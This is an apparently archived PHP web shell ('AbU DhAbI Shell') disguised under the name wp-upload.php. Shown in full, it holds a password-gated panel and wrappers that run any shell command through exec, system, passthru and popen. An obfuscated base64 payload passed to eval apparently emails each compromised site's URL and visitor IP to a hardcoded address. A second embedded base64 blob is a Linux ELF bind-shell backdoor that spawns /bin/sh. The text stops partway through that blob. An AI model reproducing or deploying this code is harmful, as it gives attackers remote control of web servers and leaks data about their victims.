home *** CD-ROM | disk | FTP | other *** search
/ ftp.anonawest.com / ftp.anonawest.com.tar / ftp.anonawest.com / wp-upload.php < prev    next >
PHP Script  |  2017-06-04  |  306KB  |  4,975 lines

  1. <?
  2. @session_start(); 
  3. @set_time_limit(0); 
  4.  
  5. //PASSWORD CONFIGURATION 
  6.  
  7. @$pass = $_POST['pass']; 
  8. $chk_login = true; 
  9. $password = "good";
  10. //END CONFIGURATION 
  11.  
  12. if($pass == $password) 
  13.  $_SESSION['nst'] = "$pass"; 
  14.  
  15. if($chk_login == true) 
  16.  if(!isset($_SESSION['nst']) or $_SESSION['nst'] != $password) 
  17.  { 
  18.  die(" 
  19.   <title>OWN3D by AbU DhAbI</title> 
  20.   <center> 
  21.   <table border=0 cellpadding=0 cellspacing=0 width=100% height=100%> 
  22.   <tr><td valign=middle align=center> 
  23.   <table width=250 bgcolor=black border=8 bordercolor=Lime><tr><td> 
  24. <tr><td><img src='http://www.mobiletoones.com/downloads/wallpapers/animation_wallpapers/preview/18/49045-red-skull-eyes.gif' border='3'>
  25.   <font size=1 face=verdana><center> 
  26.   <b></font></a><br></b> 
  27.   </center> 
  28.   <form method=post> 
  29.   <font size=3 face=verdana color=white><strong><center>- password -</center></strong><br> 
  30.   <center><input type=password name=pass size=25> 
  31.   </form>  </center> 
  32.   <font size=1 face=verdana color=red><strong><center>Host Target:</b> ".$_SERVER["HTTP_HOST"]."<br> 
  33.   <font size=1 face=verdana color=Yellow><strong><center>IP:</b> ".gethostbyname($_SERVER["HTTP_HOST"])."<br> 
  34.   <font size=1 face=verdana color=Lime><strong><center>My IP:<b> ".$_SERVER["REMOTE_ADDR"]." 
  35.   </td></tr></table> 
  36.   </td></tr></table>   </center> 
  37.   ");
  38.  }
  39. }
  40. $sh_id = "LS09WyBhdHRpbGFAYnlyb2UubmV0IF09LS0=";
  41. $sh_name = base64_decode($sh_id);
  42. $html_start = '<html><head>
  43. <link rel="SHORTCUT ICON" href="http://earthexplorers.wikispaces.com/file/view/tornado_d.gif/150497637/tornado_d.gif">
  44. <center><img src="http://www.mobiletoones.com/downloads/wallpapers/animation_wallpapers/preview/18/49045-red-skull-eyes.gif" width="380" height="300"></p></center>
  45. <title>AbU DhAbI Shell™</title>
  46. <style type="text/css">
  47. <!--
  48. body,table { font-family:verdana;font-size:13px;color:#FFFFFF;background-color:black; }
  49. table { width:100%; }
  50. .carapa tr:hover{background-color:silver}
  51. table,td { border:1px solid black;margin-top:2;margin-bottom:2;padding:5px; }
  52. a { color:#00FF00;text-decoration:none; }
  53. a:active { color:#00FF00; }
  54. a:link { color:#5B5BFF; }
  55. a:hover { text-decoration:underline; }
  56. a:visited { color:#99CCFF; }
  57. input,select,option { font:8pt tahoma;color:white;margin:2;border:1px solid lime; }
  58. textarea { color:lime;font:verdana bold;border:1px solid lime;margin:2; }
  59. .fleft { float:left;text-align:left; }
  60. .fright { float:right;text-align:right; }
  61. #pagebar { font:8pt tahoma;padding:5px; border:3px solid black; border-collapse:collapse; }
  62. #pagebar td { vertical-align:top; }
  63. #pagebar p { font:8pt tahoma;}
  64. #pagebar a { font-weight:bold;color:#00FF00; }
  65. #pagebar a:visited { color:#00CE00; }
  66. #mainmenu { text-align:center; }
  67. #mainmenu a { text-align: center;padding: 0px 5px 0px 5px; }
  68. #maininfo,.barheader,.barheader2 { text-align:center; }
  69. table tr:hover{color:#00FF00;text-decoration:none; background-color:#003300}
  70. #maininfo td { padding:3px; }
  71. .barheader { font-weight:bold;padding:5px; }
  72. .barheader2 { padding:5px;border:2px solid black; }
  73. .contents,.explorer { border-collapse:collapse;}
  74. .contents td { vertical-align:top; }
  75. .mainpanel { border-collapse:collapse;padding:5px; }
  76. .barheader,.mainpanel table,td { border:1px solid green; }
  77. .mainpanel input,select,option { border:1px solid black;margin:0; }
  78. input[type="submit"] { border:1px solid lime; }
  79. input[type="text"] { padding:3px;}
  80. .shell { background-color:black;color:black;padding:5px; }
  81. .fxerrmsg { color:red; font-weight:bold; }
  82. #pagebar,#pagebar p,h1,h2,h3,h4,form { margin:0; }
  83. #pagebar,.mainpanel,input[type="submit"] { background-color:black; }
  84. .barheader2,input,select,option,input[type="submit"]:hover { background-color:black; }
  85. textarea,.mainpanel input,select,option { background-color:#000000; }
  86. // -->
  87. </style>
  88. </head>
  89. <body>
  90. ';
  91. $login = ""; 
  92. $pass = "";
  93. $md5_pass = "";
  94. $host_allow = array("*"); 
  95. $login_txt = "Restricted Area"; 
  96. $accessdeniedmess = "<body bgcolor=black><a href=\"$sh_mainurl\"><font color=lime>".$sh_name."</font></a>: <font color=red>access denied</font></body>";
  97. $gzipencode = TRUE;
  98. $filestealth = TRUE; 
  99. $curdir = "./";
  100. $tmpdir = ""; 
  101. $tmpdir_log = "./";
  102. $log_email = "warokkponorogo@yahoo.com"; 
  103. $sort_default = "0a"; 
  104. $sort_save = TRUE; 
  105. $sess_cookie = "capriv8vars"; 
  106. $usefsbuff = TRUE; 
  107. $copy_unset = FALSE; 
  108. $hexdump_lines = 8;
  109. $hexdump_rows = 24;
  110. $win = strtolower(substr(PHP_OS,0,3)) == "win";
  111. $disablefunc = @ini_get("disable_functions");
  112. if (!empty($disablefunc)) {
  113.   $disablefunc = str_replace(" ","",$disablefunc);
  114.   $disablefunc = explode(",",$disablefunc);
  115. }
  116. function get_phpini() {
  117.   function U_wordwrap($str) {
  118.     $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
  119.     return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
  120.   }
  121.   function U_value($value) {
  122.     if ($value == '') return '<i>no value</i>';
  123.     if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
  124.     if ($value === null) return 'NULL';
  125.     if (@is_object($value)) $value = (array) $value;
  126.     if (@is_array($value)) {
  127.       @ob_start();
  128.       print_r($value);
  129.       $value = @ob_get_contents();
  130.       @ob_end_clean();
  131.     }
  132.     return U_wordwrap((string) $value);
  133.   }
  134.   if (@function_exists('ini_get_all')) {
  135.     $r = "";
  136.     echo "<table><tr class=barheader><td>Directive</td><td>Local Value</td><td>Global Value</td></tr>";
  137.     foreach (@ini_get_all() as $key=>$value) {
  138.       $r .= "<tr><td>".$key."</td><td><div align=center>".U_value($value['local_value'])."</div></td><td><div align=center>".U_value($value['global_value'])."</div></td></tr>";
  139.     }
  140.     echo $r;
  141.     echo "</table>";
  142.   }
  143. }
  144. function disp_drives($curdir,$surl) {
  145.   $letters = "";
  146.   $v = explode("\\",$curdir);
  147.   $v = $v[0];
  148.   foreach (range("A","Z") as $letter) {
  149.     $bool = $isdiskette = $letter == "A";
  150.     if (!$bool) {$bool = is_dir($letter.":\\");}
  151.     if ($bool) {
  152.       $letters .= "<a href=\"".$surl."x=ls&d=".urlencode($letter.":\\")."\"".
  153.       ($isdiskette?" onclick=\"return confirm('Make sure that the diskette is inserted properly, otherwise an error may occur.')\"":"")."> [";
  154.       if ($letter.":" != $v) {$letters .= $letter;}
  155.       else {$letters .= "<font color=yellow>".$letter."</font>";}
  156.       $letters .= "]</a> ";
  157.     }
  158.   }
  159.   if (!empty($letters)) {Return $letters;}
  160.   else {Return "None";}
  161. }
  162. if (is_callable("disk_free_space")) {
  163.   function disp_freespace($curdrv) {
  164.     $free = disk_free_space($curdrv);
  165.     $total = disk_total_space($curdrv);
  166.     if ($free === FALSE) {$free = 0;}
  167.     if ($total === FALSE) {$total = 0;}
  168.     if ($free < 0) {$free = 0;}
  169.     if ($total < 0) {$total = 0;}
  170.     $used = $total-$free;
  171.     $free_percent = round(100/($total/$free),2)."%";
  172.     $free = view_size($free);
  173.     $total = view_size($total);
  174.     return "$free of $total ($free_percent)";
  175.   }
  176. }
  177. if (!function_exists("myshellexec")) {
  178.   if(is_callable("popen")) {
  179.     function myshellexec($cmd) {
  180.       if (!($p=popen("($cmd)2>&1","r"))) { return "popen Disabled!"; }
  181.       while (!feof($p)) {
  182.         $line=fgets($p,1024);
  183.         $out .= $line;
  184.       }
  185.       pclose($p);
  186.       return $out;
  187.     }
  188.   } else {
  189.     function myshellexec($cmd) {
  190.       global $disablefunc;
  191.       $result = "";
  192.       if (!empty($cmd)) {
  193.         if (is_callable("exec") and !in_array("exec",$disablefunc)) {
  194.           exec($cmd,$result);
  195.           $result = join("\n",$result);
  196.         } elseif (($result = $cmd) !== FALSE) {
  197.         } elseif (is_callable("system") and !in_array("system",$disablefunc)) {
  198.           $v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  199.         } elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {
  200.           $v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;
  201.         } elseif (is_resource($fp = popen($cmd,"r"))) {
  202.           $result = "";
  203.           while(!feof($fp)) { $result .= fread($fp,1024); }
  204.           pclose($fp);
  205.         }
  206.       }
  207.       return $result;
  208.     }
  209.   }
  210. }
  211. function ex($cfe) {
  212.   $res = '';
  213.   if (!empty($cfe)) {
  214.     if(function_exists('exec')) {
  215.       @exec($cfe,$res);
  216.       $res = join("\n",$res);
  217.     } elseif(function_exists('shell_exec')) {
  218.       $res = @shell_exec($cfe);
  219.     } elseif(function_exists('system')) {
  220.       @ob_start();
  221.       @system($cfe);
  222.       $res = @ob_get_contents();
  223.       @ob_end_clean();
  224.     } elseif(function_exists('passthru')) {
  225.       @ob_start();
  226.       @passthru($cfe);
  227.       $res = @ob_get_contents();
  228.       @ob_end_clean();
  229.     } elseif(@is_resource($f = @popen($cfe,"r"))) {
  230.       $res = "";
  231.       while(!@feof($f)) { $res .= @fread($f,1024); }
  232.       @pclose($f);
  233.     } else { $res = "Ex() Disabled!"; }
  234.   }
  235.   return $res;
  236. }
  237. function which($pr) {
  238.   $path = ex("which $pr");
  239.   if(!empty($path)) { return $path; } else { return $pr; }
  240. }
  241.  
  242. $hostname_x = php_uname(n);
  243. $itshome = getcwd();
  244. if (!$win) {
  245.   $itshome = str_replace("/home/","~",$itshome);
  246.   $itshome = str_replace("/public_html","/ca.php",$itshome);
  247. }
  248. else { $itshome = ""; }
  249. $enumerate = "http://".$hostname_x."/".$itshome."";
  250.  
  251.  
  252. $Lversion = php_uname(r);
  253. $OSV = php_uname(s);
  254.  
  255. $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3Vu
  256. dCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FE
  257. RFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFV
  258. RVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJv
  259. c3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7
  260. IEBtYWlsKCJ3YXJva2twb25vcm9nb0B5YWhvby5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJn
  261. ZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29v
  262. a2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data));
  263. $backdoor = "f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAoIUECDQAAAD4EgAAAAAAADQAIAAHACgAIgAfAAYAAAA0AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEAAAABAAAAAAAAAACABAgAgAQIrAkAAKwJAAAFAAAAABAAAAEAAACsCQAArJkECKyZBAg0AQAAOAEAAAYAAAAAEAAAAgAAAMAJAADAmQQIwJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQIIAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1saW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAAAAAAABEAAAATAAAAAAAAAAAAAAAQAAAAEQAAAAAAAAAAAAAACQAAAAgAAAAFAAAAAwAAAA0AAAAAAAAAAAAAAA8AAAAKAAAAEgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAABAAAAAAAAAAcAAAALAAAAAAAAAAQAAAAMAAAADgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC4AAAAAAAAAdQEAABIAAACgAAAAAAAAAHEAAAASAAAANAAAAAAAAADMAAAAEgAAAGoAAAAAAAAAWgAAABIAAABMAAAAAAAAAHgAAAASAAAAYwAAAAAAAAA5AAAAEgAAAFgAAAAAAAAAOQAAABIAAACOAAAAAAAAAOYAAAASAAAAOwAAAAAAAAA6AAAAEgAAAFMAAAAAAAAAOQAAABIAAAB1AAAAAAAAALkAAAASAAAAegAAAAAAAAArAAAAEgAAAEcAAAAAAAAAeAAAABIAAABvAAAAAAAAAA4AAAASAAAAfwAAAEiJBAgEAAAAEQAOAEAAAAAAAAAAOQAAABIAAAABAAAAAAAAAAAAAAAgAAAAFQAAAAAAAAAAAAAAIAAAAABfSnZfUmVnaXN0ZXJDbGFzc2VzAF9fZ21vbl9zdGFydF9fAGxpYmMuc28uNgBleGVjbABwZXJyb3IAZHVwMgBzb2NrZXQAc2VuZABhY2NlcHQAYmluZABzZXRzb2Nrb3B0AGxpc3RlbgBmb3JrAGh0b25zAGV4aXQAYXRvaQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBjbG9zZQBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAQACAAAAAAAAAAEAAQAkAAAAEAAAAAAAAAAQaWkNAAACAKYAAAAAAAAAiJoECAYSAACYmgQIBwEAAJyaBAgHAgAAoJoECAcDAACkmgQIBwQAAKiaBAgHBQAArJoECAcGAACwmgQIBwcAALSaBAgHCAAAuJoECAcJAAC8mgQIBwoAAMCaBAgHCwAAxJoECAcMAADImgQIBw0AAMyaBAgHDgAA0JoECAcQAABVieWD7AjoMQEAAOiDAQAA6FsEAADJwwD/NZCaBAj/JZSaBAgAAAAA/yWYmgQIaAAAAADp4P////8lnJoECGgIAAAA6dD/////JaCaBAhoEAAAAOnA/////yWkmgQIaBgAAADpsP////8lqJoECGggAAAA6aD/////JayaBAhoKAAAAOmQ/////yWwmgQIaDAAAADpgP////8ltJoECGg4AAAA6XD/////JbiaBAhoQAAAAOlg/////yW8mgQIaEgAAADpUP////8lwJoECGhQAAAA6UD/////JcSaBAhoWAAAAOkw/////yXImgQIaGAAAADpIP////8lzJoECGhoAAAA6RD/////JdCaBAhocAAAAOkA////Me1eieGD5PBQVFJorYgECGhciAQIUVZoQIYECOhf////9JCQVYnlU+gbAAAAgcO/FAAAg+wEi4P8////hcB0Av/Qg8QEW13Dixwkw1WJ5YPsCIA94JoECAB0DOscg8AEo9yaBAj/0qHcmgQIixCF0nXrxgXgmgQIAcnDVYnlg+wIobyZBAiFwHQSuAAAAACFwHQJxwQkvJkECP/QycOQkFWJ5VeD7GSD5PC4AAAAAIPAD4PAD8HoBMHgBCnEx0XkAQAAAMdF+EyJBAjHRCQIAAAAAMdEJAQBAAAAxwQkAgAAAOgJ////iUXwg33wAHkYxwQkjIkECOg0/v//xwQkAQAAAOio/v//ZsdF1AIAx0XYAAAAAItFDIPABIsAiQQk6Jv+//8Pt8CJBCTosP7//2aJRdbHRCQQBAAAAI1F5IlEJAzHRCQIAgAAAMdEJAQBAAAAi0XwiQQk6BL+//+NRdTHRCQIEAAA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